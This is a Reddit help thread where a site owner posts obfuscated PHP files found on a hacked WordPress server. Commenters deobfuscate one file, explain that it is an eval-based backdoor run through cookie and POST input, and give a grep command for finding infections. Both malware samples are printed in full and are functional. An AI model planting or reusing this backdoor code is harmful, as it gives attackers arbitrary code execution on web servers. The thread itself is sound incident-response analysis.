r/PHPhelp • • Apr 02 '18

What is this code doing?

My webserver was recently compromised. A bunch of php files I didn't upload were there in the root html directory of my site. I don't know how they got there, but I would guess it was through a security hole in an old version of wordpress, which I thought was secure. When I navigated to the file on my web browser, all it did was render a white page. There were about 15 of these files, dating back almost a year, up until last month. the $string in each file was a different random selection of letters. Anyway, I was hoping someone could take a look and see if they could tell what this code is supposed to do.

<?php $wysyj = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';$fcmqf = Array();$fcmqf[] = $wysyj[0].$wysyj[25];$fcmqf[] = $wysyj[32];$fcmqf[] = $wysyj[9].$wysyj[15].$wysyj[6].$wysyj[23].$wysyj[9].$wysyj[13].$wysyj[23].$wysyj[14].$wysyj[30].$wysyj[17].$wysyj[16].$wysyj[4].$wysyj[29].$wysyj[30].$wysyj[4].$wysyj[29].$wysyj[29].$wysyj[9].$wysyj[30].$wysyj[9].$wysyj[6].$wysyj[16].$wysyj[16].$wysyj[30].$wysyj[6].$wysyj[11].$wysyj[4].$wysyj[16].$wysyj[4].$wysyj[34].$wysyj[6].$wysyj[31].$wysyj[24].$wysyj[11].$wysyj[9].$wysyj[29];$fcmqf[] = $wysyj[13].$wysyj[10].$wysyj[33].$wysyj[19].$wysyj[3];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[7].$wysyj[28].$wysyj[14].$wysyj[2].$wysyj[14].$wysyj[34].$wysyj[3];$fcmqf[] = $wysyj[14].$wysyj[26].$wysyj[2].$wysyj[22].$wysyj[10].$wysyj[23].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[33].$wysyj[11].$wysyj[12].$wysyj[3].$wysyj[28];$fcmqf[] = $wysyj[34].$wysyj[28].$wysyj[28].$wysyj[34].$wysyj[1].$wysyj[7].$wysyj[21].$wysyj[14].$wysyj[28].$wysyj[27].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[22].$wysyj[14].$wysyj[19];$fcmqf[] = $wysyj[2].$wysyj[34].$wysyj[13].$wysyj[8];foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst){function djlqgq($fcmqf, $icekva, $mcjeqs){return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);}function uknnjt($fcmqf, $wwuexkk){return @$fcmqf[9]($fcmqf[0], $wwuexkk);}function btxffrz($fcmqf, $wwuexkk){$tcguv = $fcmqf[3]($wwuexkk) % 3;if (!$tcguv) {eval($wwuexkk[1]($wwuexkk[2]));exit();}}$vjbst = uknnjt($fcmqf, $vjbst);btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));}

9 Upvotes

11 comments sorted by

1

u/echopulse Apr 03 '18

I’ve upgraded the Wordpress to 4.9, but last week it was on 1.5. Hadn’t been touched in 12 years. But I don’t use any plugins.

1

u/cyrusol Apr 12 '18

Hadn’t been touched in 12 years.

You had it coming. This is irresponsible.

1

u/echopulse Apr 03 '18

Just found this in one of the other files.

<?php //000220 if (!extension_loaded('IonCube_loader')) { $__oc = strtolower(substr(php_uname(), 0, 3)); $__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so'); if (function_exists('il_exec')) { return il_exec(); } $__ln = '/ioncube/' . $__ln; $__ln = "preg_replace"; $__oid = @fopen(__FILE__, 'rb'); $__id = realpath('extension_dir'); $__here = dirname(__FILE__); if (strlen($__id) > 1 && $__id[1] == ':') { $__id = str_replace('\\', '/', substr($__id, 2)); $__here = str_replace('\\', '/', substr($__here, 2)); } $__rd = "/" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/'; $__i = strlen($__rd); while ($__i--) { if ($__rd[$__i] == '/') { $__lp = substr($__rd, 0, $__i) . $__ln; if ($__lp = fread($__oid, @filesize(__FILE__))) { $__ln = pack("H*", $__ln("/[A-Z,\r,\n]/", "", substr($__lp, 0xd01 - 0x851))); break; } } } eval($__ln); return 0; } else { die('The file ' . __FILE__ . " is corrupted.\n"); } if (function_exists('il_exec')) { return il_exec(); } echo ('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.'); return 0;

1

u/echopulse Apr 13 '18

But I haven’t made any posst in 12 years!

1

u/gin_and_toxic Apr 02 '18

This kind of code usually injects a malicious javascript file.

1

u/echopulse Apr 02 '18

hmm. I went looking through the other files, and found a couple that referenced Ion Php code loader, which looks like a php code security tool. Would someone be able to use that to upload php files to my server? The only change I can tell they made to my actual site was to rename my index page with a page called index.bak.bak, and then create a php index file that actually just loaded the html file. This just broke any internal links to index, but I didn't notice it for who knows how long because the index page still worked when I loaded up the domain.

Here's more:

<?php //000220 if (!extension_loaded('IonCube_loader')) {$__oc = strtolower(substr(php_uname(), 0, 3));$__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so');if (function_exists('il_exec')) {return il_exec();}$__ln = '/ioncube/' . $__ln;$__ln = "preg_replace";$__oid = @fopen(__FILE__, 'rb');$__id = realpath('extension_dir');$__here = dirname(__FILE__);if (strlen($__id) > 1 && $__id[1] == ':') {$__id = str_replace('\\', '/', substr($__id, 2));$__here = str_replace('\\', '/', substr($__here, 2));}$__rd = "/" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/';$__i = strlen($__rd);while ($__i--) {if ($__rd[$__i] == '/') {$__lp = substr($__rd, 0, $__i) . $__ln;if ($__lp = fread($__oid, @filesize(__FILE__))) {$__ln = pack("H*", $__ln("/[A-Z,\r,\n]/", "", substr($__lp, 0xd01-0x851)));break;}}}eval($__ln);return 0;} else {die('The file ' . __FILE__ . " is corrupted.\n");}if (function_exists('il_exec')) {return il_exec();}echo('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.');return 0;

3

u/[deleted] Apr 02 '18 edited Apr 02 '18

TL;DR:

This code just lets an attacker use your web server as a puppet. Remove the files and patch Wordpress and all plugins right away. Also, make sure there are no more hidden secrets on the host machine (if you can).

Ran it through a formatter and got this:

<?php
$wysyj   = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';
$fcmqf   = Array();
$fcmqf[] = $wysyj[0] . $wysyj[25];
$fcmqf[] = $wysyj[32];
$fcmqf[] = $wysyj[9] . $wysyj[15] . $wysyj[6] . $wysyj[23] . $wysyj[9] . $wysyj[13] . $wysyj[23] . $wysyj[14] . $wysyj[30] . $wysyj[17] . $wysyj[16] . $wysyj[4] . $wysyj[29] . $wysyj[30] . $wysyj[4] . $wysyj[29] . $wysyj[29] . $wysyj[9] . $wysyj[30] . $wysyj[9] . $wysyj[6] . $wysyj[16] . $wysyj[16] . $wysyj[30] . $wysyj[6] . $wysyj[11] . $wysyj[4] . $wysyj[16] . $wysyj[4] . $wysyj[34] . $wysyj[6] . $wysyj[31] . $wysyj[24] . $wysyj[11] . $wysyj[9] . $wysyj[29];
$fcmqf[] = $wysyj[13] . $wysyj[10] . $wysyj[33] . $wysyj[19] . $wysyj[3];
$fcmqf[] = $wysyj[12] . $wysyj[3] . $wysyj[28] . $wysyj[7] . $wysyj[28] . $wysyj[14] . $wysyj[2] . $wysyj[14] . $wysyj[34] . $wysyj[3];
$fcmqf[] = $wysyj[14] . $wysyj[26] . $wysyj[2] . $wysyj[22] . $wysyj[10] . $wysyj[23] . $wysyj[14];
$fcmqf[] = $wysyj[12] . $wysyj[33] . $wysyj[11] . $wysyj[12] . $wysyj[3] . $wysyj[28];
$fcmqf[] = $wysyj[34] . $wysyj[28] . $wysyj[28] . $wysyj[34] . $wysyj[1] . $wysyj[7] . $wysyj[21] . $wysyj[14] . $wysyj[28] . $wysyj[27] . $wysyj[14];
$fcmqf[] = $wysyj[12] . $wysyj[3] . $wysyj[28] . $wysyj[22] . $wysyj[14] . $wysyj[19];
$fcmqf[] = $wysyj[2] . $wysyj[34] . $wysyj[13] . $wysyj[8];
foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst) {
    function djlqgq($fcmqf, $icekva, $mcjeqs)
    {
        return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);
    }
    function uknnjt($fcmqf, $wwuexkk)
    {
        return @$fcmqf[9]($fcmqf[0], $wwuexkk);
    }
    function btxffrz($fcmqf, $wwuexkk)
    {
        $tcguv = $fcmqf[3]($wwuexkk) % 3;
        if (!$tcguv) {
            eval($wwuexkk[1]($wwuexkk[2]));
            exit();
        }
    }
    $vjbst = uknnjt($fcmqf, $vjbst);
    btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));
}

Maybe start with finding out what $fcmqf contains after all the transformations. I don't really have time to try to understand it, but maybe you could try to dig deeper. Looks like it's just a parser for some remote thing doing requests to the file. Which could do ANYTHING with your server depending on what user is accessible through the web server process.

However, you should delete those files (or make them unreachable from your web server) and update Wordpress and all plugins. Most plugins are written by complete amateurs and are prone to some form of attack.

Edit: Realized I could just find out some stuff pretty quick.

It seems to just let a remote caller do any request.

Here's what $fcmqf contains after transformations:

array(10) {
    [0]=>
    string(2) "H*"  // not sure
    [1]=>
    string(1) "#"  // not sure
    [2]=>
    string(36) "956d9cde-1748-4889-9677-6b474a60fb98"  // looks like a UUID
    [3]=>
    string(5) "count"  // php function
    [4]=>
    string(10) "str_repeat"  // php function
    [5]=>
    string(7) "explode"  // php function
    [6]=>
    string(6) "substr"  // php function
    [7]=>
    string(11) "array_merge"  // php function
    [8]=>
    string(6) "strlen"  // php function
    [9]=>
    string(4) "pack"  // php function
}

So you could find out what each reference to an element in $fcmqf does in the foreach block with a search/replace or something. However, it's pretty apparent that this is just the receiver, and the attacker can do whatever based on $_POST and $_COOKIE.

1

u/mattindustries Apr 02 '18

I would probably add that if you want to search your files, this will work in terminal

grep -r "(\$[a-zA-Z]*\[[0-9]*\] \. \$[a-zA-Z]*\[[0-9]*\] \. \$[a-zA-Z]*\[[0-9]*\])" public_html/*

It shouldn't return any results except for the infected files (or strangely written plugins).

1

u/eurosat7 Apr 03 '18

After a little refactoring I got this:

https://pastebin.com/jiHZJsrd

1

u/[deleted] Apr 03 '18

Very cool! I love this sort of stuff.

1

u/folkrav Apr 03 '18

As a - amongst other things - WordPress dev

an old version of wordpress, which I thought was secure

No versions of WordPress stays "secure" for long, and most plugins apart from the bigger commercial ones (and even then) are riddled with security hazards. Always keep WordPress site as up to date as humanly possible.

We've had a similar breach last year on an old shitty CentOS server stuck on Apache 2.1 and PHP 5.4, I think, where we hosted some old client sites, you know, those that are basically abandoned. They got in through one of the WordPress installations, and injected their shit on a bunch of other ones. We've since migrated sites on their own VMs and some clients decided to host somewhere else or themselves, which is good news.